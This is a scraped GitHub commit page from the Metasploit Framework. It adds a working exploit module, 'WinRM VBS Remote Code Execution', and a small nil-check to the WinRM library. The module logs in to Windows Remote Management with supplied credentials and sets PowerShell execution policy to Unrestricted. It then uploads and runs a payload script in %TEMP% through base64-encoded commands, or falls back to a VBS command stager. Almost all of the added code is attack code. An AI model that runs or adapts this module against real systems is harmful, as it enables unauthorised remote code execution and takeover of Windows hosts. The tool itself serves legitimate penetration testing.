Skip to content

Commit f69ccc7

Browse files
David MaloneyDavid Maloney
authored andcommitted
Unified smarter module
1 parent c30ada5 commit f69ccc7

File tree

2 files changed

+216
-0
lines changed

2 files changed

+216
-0
lines changed

lib/msf/core/exploit/winrm.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -162,6 +162,7 @@ def winrm_delete_shell_msg(shell_id)
162162
end
163163

164164
def parse_wql_response(response)
165+
return nil if response.nil?
165166
xml = response.body
166167
columns = []
167168
rows =[]
Lines changed: 215 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,215 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
13+
require 'msf/core'
14+
15+
16+
class Metasploit3 < Msf::Exploit::Remote
17+
Rank = ManualRanking
18+
19+
include Msf::Exploit::Remote::WinRM
20+
include Msf::Exploit::CmdStagerVBS
21+
22+
23+
def initialize(info = {})
24+
super(update_info(info,
25+
'Name' => 'WinRM VBS Remote Code Execution',
26+
'Description' => %q{
27+
This module uses valid credentials to login to the WinRM service
28+
and execute a payload. It has two available methods for payload
29+
delivery: Powershell 2.0 and VBS CmdStager.
30+
31+
The module will check if Powershell 2.0 is available, and if so uses
32+
that method. Otherwise it falls back to the VBS Cmdstager which is
33+
less stealthy.
34+
35+
IMPORTANT: If targeting an x64 system with the Powershell method
36+
you MUST select an x64 payload. An x86 payload will never return.
37+
},
38+
'Author' => [ 'thelightcosine' ],
39+
'License' => MSF_LICENSE,
40+
'Version' => '$Revision$',
41+
'Privileged' => true,
42+
'DefaultOptions' =>
43+
{
44+
'WfsDelay' => 30,
45+
'EXITFUNC' => 'thread',
46+
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
47+
},
48+
'Platform' => 'win',
49+
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
50+
'Targets' =>
51+
[
52+
[ 'Windows', { } ],
53+
],
54+
'DefaultTarget' => 0,
55+
'DisclosureDate' => 'Nov 01 2012'
56+
))
57+
58+
register_options(
59+
[
60+
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])
61+
], self.class
62+
)
63+
64+
register_advanced_options(
65+
[
66+
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
67+
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
68+
], self.class)
69+
70+
end
71+
72+
def check
73+
unless accepts_ntlm_auth
74+
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
75+
return Msf::Exploit::CheckCode::Safe
76+
end
77+
end
78+
79+
def powershell2?
80+
if datastore['FORCE_VBS']
81+
print_status "User selected the FORCE_VBS option"
82+
return false
83+
end
84+
print_status "checking for Powershell 2.0"
85+
streams = winrm_run_cmd("powershell Get-Host")
86+
if streams == 401
87+
print_error "Login failed!"
88+
return false
89+
end
90+
unless streams.class == Hash
91+
print_error "Recieved error while running check"
92+
return false
93+
end
94+
if streams['stderr'].include? "not recognized"
95+
print_error "Powershell is not installed"
96+
return false
97+
end
98+
streams['stdout'].each_line do |line|
99+
next unless line.start_with? "Version"
100+
major_version = line.match(/\d(?=\.)/)[0]
101+
if major_version == 1
102+
print_error "The target is running an older version of powershell"
103+
return false
104+
end
105+
end
106+
107+
print_status "Attempting to set Execution Policy"
108+
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
109+
if streams == 401
110+
print_error "Login failed!"
111+
return false
112+
end
113+
unless streams.class == Hash
114+
print_error "Recieved error while running check"
115+
return false
116+
end
117+
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
118+
if streams['stdout'].include? 'Unrestricted'
119+
return true
120+
end
121+
return false
122+
end
123+
124+
def exploit
125+
if powershell2?
126+
path = upload_script
127+
return if path.nil?
128+
exec_script(path)
129+
else
130+
execute_cmdstager
131+
end
132+
handler
133+
end
134+
135+
def execute_command(cmd,opts)
136+
commands = cmd.split(/&/)
137+
commands.each do |command|
138+
if command.include? "cscript"
139+
streams = winrm_run_cmd_hanging(command)
140+
print_status streams.inspect
141+
elsif command.include? "del %TEMP%"
142+
next
143+
else
144+
winrm_run_cmd(command)
145+
end
146+
end
147+
end
148+
149+
def upload_script
150+
tdir = temp_dir
151+
return if tdir.nil?
152+
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
153+
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
154+
155+
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
156+
#add a sleep to the script to give us enoguh time to establish a session
157+
script << "\n Start-Sleep -s 600"
158+
script.each_line do |psline|
159+
#build our psh command to write out our psh script, meta eh?
160+
script_line = "Add-Content #{path} '#{psline.chomp}' "
161+
cmd = encoded_psh(script_line)
162+
streams = winrm_run_cmd(cmd)
163+
end
164+
return path
165+
end
166+
167+
def exec_script(path)
168+
print_status "Attempting to execute script..."
169+
cmd = "powershell -File #{path}"
170+
resp,c = send_request_ntlm(winrm_open_shell_msg)
171+
if resp.nil?
172+
print_error "Got no reply from target"
173+
return
174+
end
175+
unless resp.code == 200
176+
print_error "Got unexpected response from #{ip}: \n #{resp.to_s}"
177+
return
178+
end
179+
shell_id = winrm_get_shell_id(resp)
180+
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
181+
cmd_id = winrm_get_cmd_id(resp)
182+
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
183+
streams = winrm_get_cmd_streams(resp)
184+
end
185+
186+
def encoded_psh(script)
187+
script = script.chars.to_a.join("\x00").chomp
188+
script << "\x00" unless script[-1].eql? "\x00"
189+
script = Rex::Text.encode_base64(script).chomp
190+
cmd = "powershell -encodedCommand #{script}"
191+
end
192+
193+
def temp_dir
194+
print_status "Grabbing %TEMP%"
195+
resp,c = send_request_ntlm(winrm_open_shell_msg)
196+
if resp.nil?
197+
print_error "Got no reply from the server"
198+
return nil
199+
end
200+
unless resp.code == 200
201+
print_error "Got unexpected response: \n #{resp.to_s}"
202+
return nil
203+
end
204+
shell_id = winrm_get_shell_id(resp)
205+
cmd = "echo %TEMP%"
206+
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
207+
cmd_id = winrm_get_cmd_id(resp)
208+
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
209+
streams = winrm_get_cmd_streams(resp)
210+
return streams['stdout'].chomp
211+
end
212+
213+
214+
215+
end

0 commit comments

Comments
 (0)